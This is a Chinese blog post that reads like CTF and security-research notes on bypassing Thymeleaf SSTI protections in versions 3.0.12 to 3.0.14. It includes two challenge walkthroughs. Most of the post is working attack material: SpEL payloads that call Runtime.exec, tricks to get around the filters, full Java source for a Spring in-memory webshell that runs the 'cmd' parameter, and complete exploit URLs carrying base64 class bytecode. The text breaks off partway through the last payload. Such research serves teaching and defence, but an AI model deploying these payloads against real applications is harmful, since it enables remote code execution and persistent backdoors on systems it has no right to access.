再来水一篇Thymeleaf的ssti,起因是看到师兄以前出的题目,里面有一点小坑,索引就把Thymeleaf稍微高版本一些的漏洞再记录一下
thymeleaf高版本利用 上一篇文章只说了3.0.11版本之前的利用,后几个版本的利用方式发生了变化,记录一下
thymeleaf和springboot对应的版本
SpringBoot Thymeleaf 2.2.0.RELEASE 3.0.11 2.4.10 3.0.12 2.7.18 3.0.15 3.0.8 3.1.1 3.2.2 3.1.2
3.0.12版本利用 打一下原来的payload看看报错
http://localhost:8081/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
可以看到他识别出了表达式并禁止了表达式执行,我们可以从调用堆栈看到他报错的地方,在SpringRequestUtils.checkViewNameNotInRequest函数里面,这是在ThymeleafView#renderFragment里面新增的处理方法,我们去看看,其源码如下
public static void checkViewNameNotInRequest (final String viewName, final HttpServletRequest request) { final String vn = StringUtils.pack(viewName); final String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI())); boolean found = (requestURI != null && requestURI.contains(vn)); if (!found) { final Enumeration<String> paramNames = request.getParameterNames(); String[] paramValues; String paramValue; while (!found && paramNames.hasMoreElements()) { paramValues = request.getParameterValues(paramNames.nextElement()); for (int i = 0 ; !found && i < paramValues.length; i++) { paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i])); if (paramValue.contains(vn)) { found = true ; } } } } if (found) { throw new TemplateProcessingException ( "View name is an executable expression, and it is present in a literal manner in " + "request path or parameters, which is forbidden for security reasons." ); } }
我们调试看一下
这里如果经过处理后的requestURI包含vn,就会在下面抛出异常
StringUtils.pack()
的作用是去掉字符串的空格和 ASCII
码在空格之前的特殊字符,并最后转为小写。然后就是先看 uri
中是否存在 viewName
(这一步是为了检查 restful
风格的参数是否包含了 viewName
),然后遍历 url
中的参数( ?key=value
的部分 )是否包含了 viewName
(这一步检查的是普通的参数),如果上述任意其一包含了 vn
就报错。正对应这个方法名,检查 viewName
是否在 request
对象中。
但是我们这里用的是传路径那个demo导致if判断都没进去就报错了
所以这种场景下的ssti就被防御住了
@GetMapping("/doc/{document}") public void getDocument (@PathVariable String document) { log.info("Retrieving " + document); }
但下面这种拼接的场景还是可以绕过的
@GetMapping("/path") public String path (@RequestParam String lang) { return "user/" + lang + "/welcome" ; }
我们调试来看
这里的路由就无法包含视图名了,所以我们可以进入到if判断里面
然后对我们的参数值进行处理,用UriEscape.unescapeUriQueryParam方法
但经过处理之后依旧是不会包含vn的
所以checkViewNameNotInRequest就已经绕过了,这种场景并不需要我们改payload,用原来的就可以了
http://localhost:8081/path?lang=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()%7d__::.x
还有另一种拼接的场景
@GetMapping("/doc1/{data}") public String demo4 (@PathVariable String data) { System.out.println(data); return "clown/" + data; }
这里的poc是这样的
http://localhost:8081/doc1/;/__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__::
这里的绕过原理和tomcat的url解析特性相关,目的是为了不能让视图的名字和 path 一致,相关原理这里就不分析了,看看网上的文章就好,绕过的方式除了上面的写法还有下面几种
该特性也可以用在一些权限绕过上面
但其实上面的payload还是打不通,我们会遇到这样一个错误
直接说我们template name不合法了,这是怎么回事呢
这是因为后面还有新增的 SpringStandardExpressionUtils
类 的检查,调用containsSpELInstantiationOrStatic方法检查我们的表达式
源码如下:
public static boolean containsSpELInstantiationOrStatic (final String expression) { final int explen = expression.length(); int n = explen; int ni = 0 ; int si = -1 ; char c; while (n-- != 0 ) { c = expression.charAt(n); if (ni < NEW_LEN && c == NEW_ARRAY[ni] && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1 ))))) { ni++; if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1 )))) { return true ; } continue ; } if (ni > 0 ) { n += ni; ni = 0 ; if (si < n) { si = -1 ; } continue ; } ni = 0 ; if (c == ')' ) { si = n; } else if (si > n && c == '(' && ((n - 1 >= 0 ) && (expression.charAt(n - 1 ) == 'T' )) && ((n - 1 == 0 ) || !Character.isJavaIdentifierPart(expression.charAt(n - 2 )))) { return true ; } else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.' )) { si = -1 ; } } return false ; }
其主要逻辑是首先倒序检测是否包含 wen
关键字、在(
的左边的字符是否是T
,如包含,那么认为找到了一个实例化对象,返回true
,阻止该表达式的执行。
因此要绕过这个函数,只要满足三点:
表达式中不能含有关键字new
(因为wen倒叙过来就是new了)
在(
的左边的字符不能是T
不能在T
和(
中间添加的字符使得原表达式出现问题
这里在 T
和 (
之间加上空格 %20
就可以绕过,其余还有很多字符都可以。例如换行符 %0a
,制表符 %09
。
new的绕过可以在new后面加个.也能解析来绕过,或者用前面文章说过的反射来绕过,或者大小写也能绕过
3.0.14版本利用 该版本对对T
和()
中间空字符进行绕过修复,原来的空格%20没法绕过了,可以用反射绕过
land=__${'' .getClass().forName('java.lang.Runtime' ).getMethod('exec' ,'' .getClass()).invoke('' .getClass().forName('java.lang.Runtime' ).getMethod('getRuntime' ).invoke(null ),'calc' )}__::
该版本还对checkViewNameNotInRequest()
检测函数也进行了完善: 要求 URI
的值和其 get
参数在 StringUtils.pack()
之后不能出现 $
,*
,#
,@
,~
紧跟 {
的情况。
绕过思路就是不使用${}
或在${
之间加点字符造成绕过,文章中使用||字符来绕过,原因是Thymeleaf3.0.15.RELEASE版本之前LiteralSubstitutionUtil()
函数会置空||
字符,具体看看师傅的文章就好了:https://cn-sec.com/archives/3118198.html
最后绕过payload加个||即可
lang=__$||{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator.app')}__::
其他版本 从Thymeleaf3.0.15版本开始到现在最新3.1.2.RELEASE版本,就是针对Html文件利用不停的添加黑名单了,这些就需要自己再去研究了
师傅的文章中提到最新版本ruoyi使用的Thymeleaf3.0.15也是可以打的,以后有机会看看(
[2022网鼎杯 玄武组]FindIT 因为没有环境就看网上wp梳理一下考点
该题目的考点如下: 1、thymeleaf SSTI 漏洞原理 2、thymeleaf SSTI漏洞修复绕过技巧 3、Spring内存马编写 4、Apache Tomcat 9 url 包含特殊字符,例如 /、[]处理与替代
这题打的是3.0.12的Thymeleaf,就用前面文章说过的内存马就可以直接打了,因为前面copy过来的时候已经是成品了,不过这里参照一下这篇文章看看是怎么构造出来的:https://xz.aliyun.com/t/11688?time__1311=Cq0xRQKQq7qmqGNDQiiQqPGI3oLfObQWa4D
先是注入内存马的exp
import org.springframework.http.HttpStatus;import org.springframework.http.ResponseEntity;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import java.io.IOException;import java.lang.reflect.Method;import java.util.Scanner;public class SpringRequestMappingMemshell { public static String doInject (Object requestMappingHandlerMapping) { String msg = "inject-start" ; try { Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping" , Object.class, Object.class, Method.class); registerMapping.setAccessible(true ); Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand" , String.class); PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition ("/*" ); RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition (); RequestMappingInfo requestMappingInfo = new RequestMappingInfo (patternsRequestCondition, methodsRequestCondition, null , null , null , null , null ); registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell (), executeCommand); msg = "inject-success" ; } catch (Exception e) { e.printStackTrace(); msg = "inject-error" ; } return msg; } public ResponseEntity executeCommand (@RequestParam(value = "cmd") String cmd) throws IOException { String execResult = new Scanner (Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A" ).next(); return new ResponseEntity (execResult, HttpStatus.OK); } }
然后就是需要加载字节码,这里用的是org.springframework.cglib.core.ReflectUtils#defineClass方法,只要传入 类名、类的字节码字节数组 和 类加载器就可以加载恶意类。
然后我们需要调用上面写的doInject方法来注入内存马,该方法的参数需要传入bean对象,可以用下面的方式来获取
T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" ,0 ).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" ))
其等效于
WebApplicationContext context = (WebApplicationContext) org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" ));
最终的payload如下:
T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell" ,T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码" ),new javax .management.loading.MLet(new java .net.URL[0 ],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" ,0 ).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" )))
这里用了decodeFromUrlSafeString方法处理,和Tomcat9对url的特殊字符处理有关,这是因为这题要打的形式是/doc/payload的形式,payload里面包含了/,tomcat会认为这是路径分割符号,导致404,如果编码为%2F就会报400错误
由于SpringRequestMappingMemshell 编译后的class 文件经过base64后里面可能会有/ 这个字符,因此要使用org.springframework.util.Base64Utils.encodeToUrlSafeString 先将SpringRequestMappingMemshell.class 处理成能够用在url 传输的base64编码。然后再使用org.springframework.util.Base64Utils.decodeFromUrlSafeString 进行解码操作。
转变代码
byte [] bytes= Files.readAllBytes(new File ("SpringRequestMappingMemshell.class" ).toPath());String safecode = Base64Utils.encodeToUrlSafeString(bytes); System.out.println(safecode);
payload 中包含[ ] 特殊字符,需要URL编码一下-> %5B和%5D,或者payload里面的java.net.URL[0] 也可以用java.net.URL(“http”,”127.0.0.1”,”1.txt”)进行替代,这个随便写就行不影响。
最终的payload如下:
http://localhost:8081/doc/;/__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAADQAkwoABgBOCABPCgAGAFAIADAHAFEHAFIHAFMKAAUAVAoABwBVBwBWCAAyBwBXCgAFAFgHAFkIAFoKAA4AWwcAXAcAXQoAEQBeBwBfCgAUAGAKAAoATgoABwBhCABiBwBjCgAZAGQIAGUHAGYKAGcAaAoAZwBpCgBqAGsKABwAbAgAbQoAHABuCgAcAG8HAHAJAHEAcgoAJABzAQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB5MU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbDsBAAhkb0luamVjdAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7AQAPcmVnaXN0ZXJNYXBwaW5nAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAGHBhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAF21ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAScmVxdWVzdE1hcHBpbmdJbmZvAQA_TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcBABJMamF2YS9sYW5nL09iamVjdDsBAANtc2cBABJMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBSBwBXBwBjAQAQTWV0aG9kUGFyYW1ldGVycwEAPShMamF2YS9sYW5nL1N0cmluZzspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAANjbWQBAApleGVjUmVzdWx0AQAKRXhjZXB0aW9ucwcAdAEAIlJ1bnRpbWVWaXNpYmxlUGFyYW1ldGVyQW5ub3RhdGlvbnMBADZMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RQYXJhbTsBAAV2YWx1ZQEAClNvdXJjZUZpbGUBACFTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsLmphdmEMACcAKAEADGluamVjdC1zdGFydAwAdQB2AQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAwAdwB4DAB5AHoBABxTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsAQAQamF2YS9sYW5nL1N0cmluZwwAewB4AQBGb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAAi8qDAAnAHwBAExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2QMACcAfQEAPW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8MACcAfgwAfwCAAQAOaW5qZWN0LXN1Y2Nlc3MBABNqYXZhL2xhbmcvRXhjZXB0aW9uDACBACgBAAxpbmplY3QtZXJyb3IBABFqYXZhL3V0aWwvU2Nhbm5lcgcAggwAgwCEDACFAIYHAIcMAIgAiQwAJwCKAQACXEEMAIsAjAwAjQCOAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5BwCPDACQAJEMACcAkgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBABFnZXREZWNsYXJlZE1ldGhvZAEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBADsoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDspVgEB9ihMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhcmFtc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0NvbnN1bWVzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1Byb2R1Y2VzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAjb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXMBAAJPSwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czsBADooTGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOylWACEACgAGAAAAAAADAAEAJwAoAAEAKQAAAC8AAQABAAAABSq3AAGxAAAAAgAqAAAABgABAAAADAArAAAADAABAAAABQAsAC0AAAAJAC4ALwACACkAAAFZAAkABwAAAJQSAkwqtgADEgQGvQAFWQMSBlNZBBIGU1kFEgdTtgAITSwEtgAJEgoSCwS9AAVZAxIMU7YADU67AA5ZBL0ADFkDEg9TtwAQOgS7ABFZA70AErcAEzoFuwAUWRkEGQUBAQEBAbcAFToGLCoGvQAGWQMZBlNZBLsAClm3ABZTWQUtU7YAF1cSGEynAAtNLLYAGhIbTCuwAAEAAwCHAIoAGQADACoAAAA6AA4AAAAOAAMAEAAgABEAJQASADYAEwBIABQAVQAVAGcAFgCEABcAhwAbAIoAGACLABkAjwAaAJIAHAArAAAAUgAIACAAZwAwADEAAgA2AFEAMgAxAAMASAA_ADMANAAEAFUAMgA1ADYABQBnACAANwA4AAYAiwAHADkAOgACAAAAlAA7ADwAAAADAJEAPQA-AAEAPwAAABMAAv8AigACBwBABwBBAAEHAEIHAEMAAAAFAQA7AAAAAQAyAEQABAApAAAAaAAEAAMAAAAmuwAcWbgAHSu2AB62AB-3ACASIbYAIrYAI027ACRZLLIAJbcAJrAAAAACACoAAAAKAAIAAAAgABoAIQArAAAAIAADAAAAJgAsAC0AAAAAACYARQA-AAEAGgAMAEYAPgACAEcAAAAEAAEASABDAAAABQEARQAAAEkAAAAMAQABAEoAAQBLcwBFAAEATAAAAAIATQ=="),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x
一题不出网的Thymeleaf
这题给的也是一个3.0.12的Thymeleaf,是一个路径拼接导致的漏洞
一开始我想着这不是直接秒了吗,发现内存马打不进去,打过去直接400了
原因出在内存马这里,这题目的springboot版本比前面本地测试的要高,是2.7.5的版本,我们换到该版本,看一下本地打是什么报错
然后去搜了搜发现不同版本的spring内存马是有差别的,查漏补缺了一下,不过似乎只是对controller有影响,参考文章:http://www.bmth666.cn/2022/09/27/Spring%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/index.html
前面的内存马是适合<2.6.0版本的spring,2.6.0之后官方修改了url路径的默认匹配策略,需要重新构造内存马了,文章中的内存马形式
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Field configField = mappingHandlerMapping.getClass().getDeclaredField("config" ); configField.setAccessible(true ); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);Method method2 = InjectToController2.class.getMethod("test" );RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition ();RequestMappingInfo info = RequestMappingInfo.paths("/shell" ).options(config).build();InjectToController2 springControllerMemShell = new InjectToController2 ("aaa" ); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
根据这个把前面的内存马魔改一下,改成下面这样即可
import org.springframework.http.HttpStatus;import org.springframework.http.ResponseEntity;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Scanner;public class SpringRequestMappingMemshellChange { public static String doInject (Object requestMappingHandlerMapping) { String msg = "inject-start" ; try { Class<?> requestMappingHandlerMappingClass = requestMappingHandlerMapping.getClass(); Field configField = requestMappingHandlerMappingClass.getDeclaredField("config" ); configField.setAccessible(true ); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(requestMappingHandlerMapping); Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping" , Object.class, Object.class, Method.class); registerMapping.setAccessible(true ); Method executeCommand = SpringRequestMappingMemshellChange.class.getDeclaredMethod("executeCommand" , String.class); RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition (); RequestMappingInfo info = RequestMappingInfo.paths("/shell" ).options(config).build(); registerMapping.invoke(requestMappingHandlerMapping, info, new SpringRequestMappingMemshellChange (), executeCommand); msg = "inject-success" ; } catch (Exception e) { e.printStackTrace(); msg = "inject-error" ; } return msg; } public ResponseEntity executeCommand (@RequestParam(value = "cmd") String cmd) throws IOException { String execResult = new Scanner (Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A" ).next(); return new ResponseEntity (execResult, HttpStatus.OK); } }
最终payload如下:
/admin?language=__$%7BT%20(org.springframework.cglib.core.ReflectUtils).defineClass(%22SpringRequestMappingMemshellChange%22,T%20(org.springframework.util.Base64Utils).decodeFromUrlSafeString(%22yv66vgAAADQAsAoACwBaCABbCgALAFwIADgKAAoAXQoAXgBfCgBeAGAHAGIIADwHAGMHAGQHAGUKAAoAZgoADABfBwBnCAA-BwBoCgAKAGkHAGoHAGsKABMAbAgAbQoAYQBuCwBvAHALAG8AcQoADwBaCgAMAHIIAHMHAHQKAB0AdQgAdgcAdwoAeAB5CgB4AHoKAHsAfAoAIAB9CAB-CgAgAH8KACAAgAcAgQkAggCDCgAoAIQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJExTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsQ2hhbmdlOwEACGRvSW5qZWN0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsBACFyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAC2NvbmZpZ0ZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABmNvbmZpZwEAFEJ1aWxkZXJDb25maWd1cmF0aW9uAQAMSW5uZXJDbGFzc2VzAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb247AQAPcmVnaXN0ZXJNYXBwaW5nAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAF21ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAEaW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQASTGphdmEvbGFuZy9PYmplY3Q7AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQANU3RhY2tNYXBUYWJsZQcAZAcAaAcAdAEAEE1ldGhvZFBhcmFtZXRlcnMBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAIUBACJSdW50aW1lVmlzaWJsZVBhcmFtZXRlckFubm90YXRpb25zAQA2TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0UGFyYW07AQAFdmFsdWUBAApTb3VyY2VGaWxlAQAnU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbENoYW5nZS5qYXZhDAArACwBAAxpbmplY3Qtc3RhcnQMAIYAhwwAiACJBwCKDACLAIwMAI0AjgcAjwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb24BAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kDACQAJEBACJTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsQ2hhbmdlAQAQamF2YS9sYW5nL1N0cmluZwwAkgCRAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAArAJMBAAYvc2hlbGwMAJQAlgcAlwwAmACZDACaAJsMAJwAnQEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAngAsAQAMaW5qZWN0LWVycm9yAQARamF2YS91dGlsL1NjYW5uZXIHAJ8MAKAAoQwAogCjBwCkDAClAKYMACsApwEAAlxBDACoAKkMAKoAqwEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcArAwArQCuDAArAK8BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAPW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8BAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQARZ2V0RGVjbGFyZWRNZXRob2QBADsoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDspVgEABXBhdGhzAQAHQnVpbGRlcgEAXChbTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXI7AQBFb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ